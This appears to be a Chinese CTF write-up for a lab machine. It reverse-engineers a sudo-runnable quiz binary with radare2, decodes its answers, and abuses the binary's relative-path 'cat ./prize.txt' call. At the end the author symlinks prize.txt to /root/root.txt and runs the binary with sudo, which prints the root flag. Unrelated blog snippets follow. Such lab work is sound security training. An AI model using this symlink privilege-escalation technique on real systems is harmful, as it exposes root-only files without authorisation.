│           0x00401706      b800000000     mov eax, 0
│           0x0040170b      e834feffff     call sym.question_3
│           0x00401710      0145ec         add dword [var_14h], eax
│           0x00401713      8b55ec         mov edx, dword [var_14h]
│           0x00401716      488d45e0       lea rax, [var_20h]
│           0x0040171a      89d6           mov esi, edx                ; int64_t arg2
│           0x0040171c      4889c7         mov rdi, rax                ; char *arg1
│           0x0040171f      e8befeffff     call sym.writeResults
│           0x00401724      837dec03       cmp dword [var_14h], 3
│       ┌─< 0x00401728      750a           jne 0x401734
│       │   0x0040172a      8b45ec         mov eax, dword [var_14h]
│       │   0x0040172d      89c7           mov edi, eax                ; int64_t arg1
│       │   0x0040172f      e802fbffff     call sym.print_prize
│       │   ; CODE XREF from main @ 0x401728(x)
│       └─> 0x00401734      8b0542290000   mov eax, dword [obj.foo]    ; [0x40407c:4]=0
│           0x0040173a      83f855         cmp eax, 0x55               ; 'U' ; 85
│       ┌─< 0x0040173d      750a           jne 0x401749
│       │   0x0040173f      b800000000     mov eax, 0
│       │   0x00401744      e88cfeffff     call sym.wait_what
│       │   ; CODE XREF from main @ 0x40173d(x)
│       └─> 0x00401749      b800000000     mov eax, 0
│           0x0040174e      c9             leave
└           0x0040174f      c3             ret
[0x0040168f]> pdc @main
int main (int rdi, int rsi) {loc_0x40168f:// DATA XREF from entry0 @ 0x401168(r)endbrpush  (rbp)rbp = rsprsp -= 0x30dword [var_24h] = edi // argcqword [var_30h] = rsi // argvrax = 0x2e73746c75736572 // 'results.'qword [var_20h] = raxdword [var_18h] = 0x747874 // 'txt'rax = rip + str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years. // 0x4020f0 // "Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years."                        qword [s] = raxrax = rip + str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash // 0x402178 // "If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash"qword [var_10h] = raxrax = qword [s] // "Hey guys, I have prepared this little program to find out how m" str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years.                                                                                                        rdi = rax     // const char *s // "Hey guys, I have prepared this little program to find out how m" str.Hey_guys__I_have_prepared_this_little_program_to_find_out_how_much_you_know_about_me__since_I_have_been_your_administrator_for_2_years.                                                                                         sym.imp.puts  ()// int puts("Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.")rax = qword [var_10h] // "If you get all the questions right, you win a teddy bear and if" str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash                                                                                                            rdi = rax     // const char *s // "If you get all the questions right, you win a teddy bear and if" str.If_you_get_all_the_questions_right__you_win_a_teddy_bear_and_if_you_dont__you_win_a_teddy_bear_and_if_you_dont__you_win_trash                                                                                                   sym.imp.puts  ()// int puts("If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash")dword [var_14h] = 0eax = 0sym.question_1  ()dword [var_14h] += eaxeax = 0sym.question_2  ()dword [var_14h] += eaxeax = 0sym.question_3  ()dword [var_14h] += eaxedx = dword [var_14h]rax = var_20h // "results.txt"esi = edx     // int64_t arg2rdi = rax     // char *arg1 // "results.txt"sym.writeResults  () // sym.writeResults(0x177fd8, 0x0)var = dword [var_14h] - 3if  (var) goto loc_0x401734 // likelygoto loc_0x40172aloc_0x401734:// CODE XREF from main @ 0x401728(x)eax = dword [obj.foo] // [0x40407c:4]=0var = eax - 0x55 // 'U' // 85if  (var) goto loc_0x401749 // likelygoto loc_0x40173floc_0x401749:// CODE XREF from main @ 0x40173d(x)eax = 0=             // rsprgoto loc_0x401749// } else {goto loc_0x401734}return rax;
}
1、将 result和txt都存放在rax寄存器内!2、0x004016b7 和 0x004016c2地址通过调用lea 指令来加载字符串的地址到寄存器rax中,然后通过mov指令将寄存器中的地址值存储到相应的内存位置。
这里他把这两个字符换的变量存到了s变量指定的内存里面!3、程序在运行的过程中会提问三个问题! 也就是 question_1、question_2、question_34、如果所有的问题都答对了,就直接查看当前目录下的prize.txt文件!

question_1
[0x0040147e]> s sym.question_1
[0x00401405]> pdc@sym.question_1
int sym.question_1 (int rdi, int rsi) {loc_0x401405:// CALL XREF from main @ 0x4016f1(x)endbrpush  (rbp)rbp = rsprsp -= 0x70rax = rip + str.What_is_my_favorite_OS_ // 0x40201e // "What is my favorite OS?"rdi = rax     // const char *s // "What is my favorite OS?" str.What_is_my_favorite_OS_sym.imp.puts  ()// int puts("What is my favorite OS?")rdx = qword [obj.stdin] // obj.__TMC_END__// [0x404070:8]=0 // FILE *streamrax = s1esi = 0xc8    // 200 // int sizerdi = rax     // char *ssym.imp.fgets  ()// char *fgets("", -1, ?)rax = s1rdx = rip + str.linux_n // 0x402036 // "linux\n"rsi = rdx     // const char *s2 // "linux\n" str.linux_nrdi = rax     // const char *s1sym.imp.strcmp  ()// int strcmp("", "linux\n")var = eax & eaxif  (var) goto loc_0x401468 // likelygoto loc_0x401452loc_0x401468:// CODE XREF from sym.question_1 @ 0x401450(x)rax = rip + str.Nope__ // 0x402047 // "Nope!!"rdi = rax     // const char *s // "Nope!!" str.Nope__sym.imp.puts  ()// int puts("Nope!!")eax = 0goto loc_0x40147cdo {loc_0x40147c:// CODE XREF from sym.question_1 @ 0x401466(x)=             // rspr// } while (?);// } while (?);goto loc_0x40147c}return rax;
}
[0x00401405]> 
问题一: What is my favorite OS?
通过分析伪代码,答案就是 Linux!


question_2
[0x00401405]> pdc@sym.question_2
int sym.question_2 (int rdi, int rsi) {loc_0x40147e:// CALL XREF from main @ 0x4016fe(x)endbrpush  (rbp)rbp = rsprsp += 0xffffffffffffff80rax = rip + str.What_is_my_favorite_food_ // 0x40204e // "What is my favorite food?"rdi = rax     // const char *s // "What is my favorite food?" str.What_is_my_favorite_food_sym.imp.puts  ()// int puts("What is my favorite food?")rdx = qword [obj.stdin] // obj.__TMC_END__// [0x404070:8]=0 // FILE *streamrax = s1esi = 0x64    // 'd' // 100 // int sizerdi = rax     // char *ssym.imp.fgets  ()// char *fgets("", -1, ?)dword [var_4h] = 5rax = s1rdi = rax     // const char *ssym.imp.strlen  ()// size_t strlen("")qword [var_10h] = raxvar = qword [var_10h] - 0if  (!var) goto loc_0x4014ed // unlikelygoto loc_0x4014cfloc_0x4014ed:// CODE XREFS from sym.question_2 @ 0x4014cd(x), 0x4014de(x)edx = dword [var_4h]rax = s1esi = edx     // int64_t arg2rdi = rax     // int64_t arg1sym.secret_q2  () // sym.secret_q2(0x177f80, 0x0)rax = s1rdx = rip + str.gfhts_ufshfpjx // 0x402068 // "gfhts ufshfpjx"rsi = rdx     // const char *s2 // "gfhts ufshfpjx" str.gfhts_ufshfpjxrdi = rax     // const char *s1sym.imp.strcmp  ()// int strcmp("N\x14@", "gfhts ufshfpjx")var = eax & eaxif  (var) goto loc_0x40152e // likelygoto loc_0x401518loc_0x40152e:// CODE XREF from sym.question_2 @ 0x401516(x)rax = rip + str.Nope__ // 0x402047 // "Nope!!"rdi = rax     // const char *s // "Nope!!" str.Nope__sym.imp.puts  ()// int puts("Nope!!")eax = 0goto loc_0x401542do {loc_0x401542:// CODE XREF from sym.question_2 @ 0x40152c(x)=             // rspr// } while (?);// } while (?);goto loc_0x401542// } while (?);goto loc_0x4014e0}return rax;loc_0x4014e0:rax = qword [var_10h]rax -= 1byte [rbp + rax - 0x80] = 0goto loc_0x4014ed
}
[0x00401405]> pdc@sym.secret_q2
int sym.secret_q2 (int rdi, int rsi) {loc_0x401274:// CALL XREF from sym.question_2 @ 0x4014f9(x)endbrpush  (rbp)rbp = rspqword [var_18h] = rdi // arg1dword [var_1ch] = esi // arg2dword [var_4h] = 0goto loc_0x401385goto loc_0x401385do {loc_0x401385:// CODE XREF from sym.secret_q2 @ 0x40128a(x)eax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]var = al & alif  (var) goto loc_0x40128f // likelygoto loc_0x40139d// } while (?);goto loc_0x40139d}return rax;loc_0x40139d:nnrbp = pop  ()r}return rax;loc_0x004012a3:  // orphaneax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]var = al - 0x7a          // 'z' // 122if  (var > 0) goto loc_loc_0x401309 // unlikelyloc_0x004012b7:  // orphaneax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]eax = aledx = rax - 0x61eax = dword [var_1ch]eax += edxrdx = eaxrdx = rdx * 0x4ec4ec4frdx >>>= 0x20edx >>= 3ecx = eaxecx >>= 0x1fedx -= ecxecx = edx * 0x1aeax -= ecxedx = eaxeax = edxecx = rax + 0x61eax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxedx = ecxbyte [rax] = dlgoto loc_loc_0x401381loc_0x00401309:  // orphan// CODE XREFS from sym.secret_q2 @ 0x4012a1(x), 0x4012b5(x)eax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]var = al - 0x40          // elf_phdrif  (var <= 0) goto loc_loc_0x401381 // unlikelyloc_0x0040131d:  // orphaneax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]var = al - 0x5a          // 'Z' // 90if  (var > 0) goto loc_loc_0x401381 // likelyloc_0x00401331:  // orphaneax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxeax = byte [rax]eax = aledx = rax - 0x41eax = dword [var_1ch]eax += edxrdx = eaxrdx = rdx * 0x4ec4ec4frdx >>>= 0x20edx >>= 3ecx = eaxecx >>= 0x1fedx -= ecxecx = edx * 0x1aeax -= ecxedx = eaxeax = edxecx = rax + 0x41eax = dword [var_4h]rdx = eaxrax = qword [var_18h]rax += rdxedx = ecxbyte [rax] = dlloc_0x00401381:  // orphan// CODE XREFS from sym.secret_q2 @ 0x401307(x), 0x40131b(x), 0x40132f(x)dword [var_4h] += 1
}# 这个函数主要就是处理问题2的 那个字符串的!
问题二呢,给了一个字符串 gfhts ufshfpjx打了这么多年ctf,直觉告诉我,这是某种加密!

bacon pancakes  (培根煎饼)虽然我英语不行,但是我还是能看出来他是一个正常的短语的!

第二个问题也回答正确!

question_3
[0x00401405]> pdc@sym.question_3
int sym.question_3 (int rdi, int rsi) {loc_0x401544:// CALL XREF from main @ 0x40170b(x)endbrpush  (rbp)rbp = rsprsp -= 0x70rax = rip + str.What_is_my_favorite_text_editor_ // 0x402078 // "What is my favorite text editor?"rdi = rax     // const char *s // "What is my favorite text editor?" str.What_is_my_favorite_text_editor_sym.imp.puts  ()// int puts("What is my favorite text editor?")rdx = qword [obj.stdin] // obj.__TMC_END__// [0x404070:8]=0 // FILE *streamrax = s1esi = 0x64    // 'd' // 100 // int sizerdi = rax     // char *ssym.imp.fgets  ()// char *fgets("", -1, ?)dword [var_4h] = 6edx = dword [var_4h]rax = s1esi = edx     // int64_t arg2rdi = rax     // int64_t arg1sym.secret_q3  () // sym.secret_q3(0x177f88, 0x6)rax = s1rdx = rip + str.hpokqornvjsaohu_n // 0x402099 // "hpok&qorn&vjsaohu\n"rsi = rdx     // const char *s2 // "hpok&qorn&vjsaohu\n" str.hpokqornvjsaohu_nrdi = rax     // const char *s1sym.imp.strcmp  ()// int strcmp("", "hpok&qorn&vjsaohu\n")var = eax & eaxif  (var) goto loc_0x4015bf // likelygoto loc_0x4015a9loc_0x4015bf:// CODE XREF from sym.question_3 @ 0x4015a7(x)rax = rip + str.Nope__ // 0x402047 // "Nope!!"rdi = rax     // const char *s // "Nope!!" str.Nope__sym.imp.puts  ()// int puts("Nope!!")eax = 0goto loc_0x4015d3do {loc_0x4015d3:// CODE XREF from sym.question_3 @ 0x4015bd(x)=             // rspr// } while (?);// } while (?);goto loc_0x4015d3}return rax;
}
[0x00401405]> pdc@sym.secret_q3
int sym.secret_q3 (int rdi, int rsi) {loc_0x4013a1:// CALL XREF from sym.question_3 @ 0x40158a(x)endbrpush  (rbp)rbp = rsprsp -= 0x20qword [s] = rdi // arg1dword [var_1ch] = esi // arg2rax = qword [s]rdi = rax     // const char *ssym.imp.strlen  ()// size_t strlen(-1)dword [var_8h] = eaxdword [var_4h] = 0goto loc_0x4013f6goto loc_0x4013f6do {loc_0x4013f6:// CODE XREF from sym.secret_q3 @ 0x4013ca(x)eax = dword [var_8h] // rspeax -= 1var = dword [var_4h] - eaxjl 0x4013cc   // likelygoto loc_0x401401// } while (?);goto loc_0x401401}return rax;loc_0x401401:nn=             // rspr}return rax;
}
字符串 : hpok&qorn&vjsaohu通过查看 问题三中 hpok&qorn&vjsaohu 字符串的处理方法函数接受两个参数 rdi 和 rsi,其中 rdi 被存储在 [s] 中,rsi 被存储在 [var_1ch] 中。函数通过调用 strlen 函数来获取参数 s 所指向字符串的长度,并将结果保存在 [var_8h] 中。接下来是一个循环,循环条件是 [var_4h] 小于字符串长度减一,这里使用了 jl(jump if less)指令,表示循环条件成立时跳转到指定位置。所以说,这个就是个简单的异或加密!

答案就是:nvim with plugins


prize.txt
[0x00401405]> pdc@sym.print_prize
int sym.print_prize (int rdi, int rsi) {loc_0x401236:// CALL XREF from main @ 0x40172f(x)endbrpush  (rbp)rbp = rsprsp -= 0x20dword [var_14h] = edi // arg1rax = rip + str.cat_._prize.txt // 0x402008 // "cat ./prize.txt"rdi = rax     // const char *string // "cat ./prize.txt" str.cat_._prize.txtsym.imp.system  ()// int system("cat ./prize.txt")dword [var_4h] = eaxvar = dword [var_4h] - 0xffffffffif  (var) goto loc_0x401271 // likelygoto loc_0x40125dloc_0x401271:// CODE XREF from sym.print_prize @ 0x40125b(x)n=             // rsprgoto loc_0x401271}return rax;
}
当我们三个问题都答对的时候,就会执行这个方法!也就是查看 当前路径下的 prize.txt文件!

软连接
bacon pancakesnvim with plugins
我想了一下,既然最后调用的是当前路径下的prize.txt文件,我们就可以在html目录下创建这两个文件 results.txt和prize.txt文件!
然后创建一个软连接指向root/root.txt文件!
最后运行这个可执行程序即可拿到root.txt文件内容!为什么在html,因为当前用户是www-data啊!
www-data@minimal:/var/www/html$ touch prize.txt
touch prize.txt
www-data@minimal:/var/www/html$ touch results.txt             
touch results.txt
www-data@minimal:/var/www/html$ rm prize.txt;ln -sv /root/root.txt prize.txt
rm prize.txt;ln -sv /root/root.txt prize.txt
'prize.txt' -> '/root/root.txt'
www-data@minimal:/var/www/html$ 
www-data@minimal:/var/www/html$ sudo /opt/quiz/shop
sudo /opt/quiz/shop
Hey guys, I have prepared this little program to find out how much you know about me, since I have been your administrator for 2 years.
If you get all the questions right, you win a teddy bear and if you don't, you win a teddy bear and if you don't, you win trash
What is my favorite OS?
Linux
Nope!!
What is my favorite food?
bacon pancakes
Correct!!
What is my favorite text editor?
nvim with plugins
Correct!!
User name: 111
Saving results .
HMV{never_gonna_ROP_you_down}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/836041.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

.NET_NLog

步骤 1. 添加依赖 ①Microsoft.Extensions.DependencyInjection ②NLog.Extensions.Logging&#xff08;或Microsoft.Extensions.Logging.___&#xff09; Tutorial NLog/NLog Wiki GitHub 2.添加nlog.config文件(默认名称, 可改为其他名称, 但需要另行配置) 文件的基础…

基于Java+SpringBoot+Mybaties-plus+Vue+elememt 驾校管理 设计与实现

一.项目介绍 系统角色&#xff1a;管理员、驾校教练、学员 管理员&#xff1a; 个人中心&#xff1a;修改密码以及个人信息修改 学员管理&#xff1a;维护学员信息&#xff0c;维护学员成绩信息 驾校教练管理&#xff1a;驾校教练信息的维护 驾校车辆管理&…

【数据结构初阶】直接插入排序

最近浅学了直接插入排序&#xff0c;写个博客做笔记&#xff01;笔记功能除外若能对读者老爷有所帮助最好不过了&#xff01; 直接插入排序是插入排序的一种&#xff0c;那么介绍直接插入排序之前先介绍一下常见的排序算法&#xff01; 目录 1.常见的排序算法 2.直接插入排…

57. 【Android教程】相机:Camera

相机现在已经不仅仅是手机必备神器了&#xff0c;甚至相机的拍照质量已经是很多人买手机的首选条件了。而对于相机而言主要有两大功能&#xff1a;拍照片和拍视频。Android 为此两种方式&#xff1a; 相机 intent相机 API 本节我们就一起来看看相机的具体用法。 1. 打开 Camer…

C# Linq中的自定义排序

1.开发过程中&#xff0c;会遇到OrderBy/OrderByDescending排序无法满足的情况&#xff0c;此时就需要自定义排序&#xff0c;按照想要的排序规则取排序&#xff0c;比如订单的状态等等。 2.自定义泛型比较器代码如下&#xff1a; /// <summary>/// 自定义泛型比较器(用…

train_gpt2_fp32.cu - layernorm_forward_kernel3

源码 __global__ void layernorm_forward_kernel3(float* __restrict__ out, float* __restrict__ mean, float* __restrict__ rstd,const float* __restrict__ inp, const float* __restrict__ weight,const float* __restrict__ bias, int N, int C) {cg::thread_block bl…

【北京迅为】《iTOP-3588从零搭建ubuntu环境手册》-第8章 安装编译所需要的依赖包

RK3588是一款低功耗、高性能的处理器&#xff0c;适用于基于arm的PC和Edge计算设备、个人移动互联网设备等数字多媒体应用&#xff0c;RK3588支持8K视频编解码&#xff0c;内置GPU可以完全兼容OpenGLES 1.1、2.0和3.2。RK3588引入了新一代完全基于硬件的最大4800万像素ISP&…

多个文件 import 的相同模块里的对象

多个文件 import 的相同模块里的对象&#xff0c;是否永远都是同一个对象&#xff1f; 在store的index.js中 import vue from ‘vue’ import Vuex from ‘vuex’ 并配置有关对象 然后再app.vue中配置vm 在不同的文件中 import一个vue对象&#xff0c;在任何情况下&#…

vue2项目升级到vue3经历分享5

写到第5篇了&#xff0c;解决了很多问题&#xff0c;还有一些需要调整 1 el-input-number指令兼容性调整 下面这个可编辑的表格&#xff0c;全是0&#xff0c;于是需要一个指令&#xff0c;让它自己实现如果是0&#xff0c;就置空&#xff1b;如果是数字就是格式化为千分位&…

使用docker安装seafile

使用docker安装seafile 1 介绍seafile Seafile 是一款开源的企业云盘&#xff0c;支持全平台&#xff08;浏览器、Windows、Mac、Linux、Android、IPhone等&#xff09;客户端。Seafile 内置协同文档 SeaDoc &#xff0c;让协作撰写、管理和发布文档更便捷。最重要的这是国产…

【网站项目】SpringBoot796水产养殖系统

&#x1f64a;作者简介&#xff1a;拥有多年开发工作经验&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的项目或者毕业设计。 代码可以私聊博主获取。&#x1f339;赠送计算机毕业设计600个选题excel文件&#xff0c;帮助大学选题。赠送开题报告模板&#xff…

【JavaEE初阶系列】——Cookie和Session应用之实现登录页面

目录 &#x1f6a9;本章目标 1.登录页面 2.servlet处理上述的登录请求 3.网站主页(成功登录之后的页面&#xff09; &#x1f6a9;实现过程 &#x1f393;登录页面 &#x1f393;Servlet处理登录请求 &#x1f388;获取请求传来的参数(用户名和密码) &#x1f388;验证…

一件事做了十年

目录 一、背景二、过程1.贫困山区的心理悲哀2.基础差的客观转变3.对于教育的思考4.持续做这件事在路上5.同行人有很早就完成的&#xff0c;有逐渐放弃的&#xff0c;你应该怎么办&#xff1f;6.回头看&#xff0c;什么才是最终留下的东西? 三、总结 一、背景 在哪里出生我们无…

《Linux运维总结:ARM64架构CPU基于docker-compose一离线部署rabbitmq 3.10.25容器版镜像模式集群》

总结&#xff1a;整理不易&#xff0c;如果对你有帮助&#xff0c;可否点赞关注一下&#xff1f; 更多详细内容请参考&#xff1a;《Linux运维篇&#xff1a;Linux系统运维指南》 一、部署背景 由于业务系统的特殊性&#xff0c;我们需要面向不通的客户安装我们的业务系统&…

【ubuntu】ubuntu-18.04开机卡在Starting User Manager for UID 120....问题解决方案

错误截图 解决方案 启动系统&#xff0c;开机界面单击按键esc键&#xff0c;注意需要将鼠标定位到菜单界面&#xff0c;移动键盘上下键选择Advanced options for Ubuntu 进入如下菜单&#xff0c;选择recovery mode 回车之后会弹出如下界面&#xff0c;选择如下root&#xff0…

超详细的胎教级Stable Diffusion使用教程(四)

这套课程分为五节课&#xff0c;会系统性的介绍sd的全部功能和实操案例&#xff0c;让你打下坚实牢靠的基础 一、为什么要学Stable Diffusion&#xff0c;它究竟有多强大&#xff1f; 二、三分钟教你装好Stable Diffusion 三、小白快速上手Stable Diffusion 四、Stable dif…

【C语言/Python】嵌入式常用数据滤波处理:卡尔曼滤波器的简易实现方式(Kalman Filter)

【C语言/Python】嵌入式常用数据滤波处理&#xff1a;卡尔曼滤波器的简易实现方式&#xff08;Kalman Filter&#xff09; 文章目录 卡尔曼滤波卡尔曼滤波公式卡尔曼滤波数据处理效果C语言的卡尔曼滤波实现附录&#xff1a;压缩字符串、大小端格式转换压缩字符串浮点数压缩Pack…

Spring-Cloud-OpenFeign源码解析-01-OpenFeign简介

OpenFeign简介 OpenFeign是一种声明式、模板化的HTTP客户端(仅在Application Client中使用)。声明式调用是指&#xff0c;就像调用本地方法一样调用远程方法&#xff0c;无需感知操作远程http请求。 OpenFeign和Feign的区别 Feign是Spring Cloud组件中一个轻量级RESTful的HT…

亚信安全发布《2024年第一季度网络安全威胁报告》

亚信安全2024年第一季度网络安全威胁报告 一季度威胁概览 《亚信安全2024年第一季度网络安全威胁报告》的发布旨在从一个全面的视角解析当前的网络安全威胁环境。此报告通过详尽梳理和总结2024年第一季度的网络攻击威胁&#xff0c;目的是提供一个准确和直观的终端威胁感知。…

LNMP环境部署WordPress——使用源码包安装方式部署环境

目录 一.前提准备 二.源码安装Mysql 1.MySQL类型 2.MySQL 版本说明 3.MySQL 安装方式 3.1 yum 安装 3.2 编译安装 3.3 二进制安装 3.4 rpm 安装 4. 编译安装MySQL5.7 4.1 清理安装环境 4.2 创建mysql用户 4.3 从官网下载tar包 4.4 安装编译工具 4.5 解压 4.6 …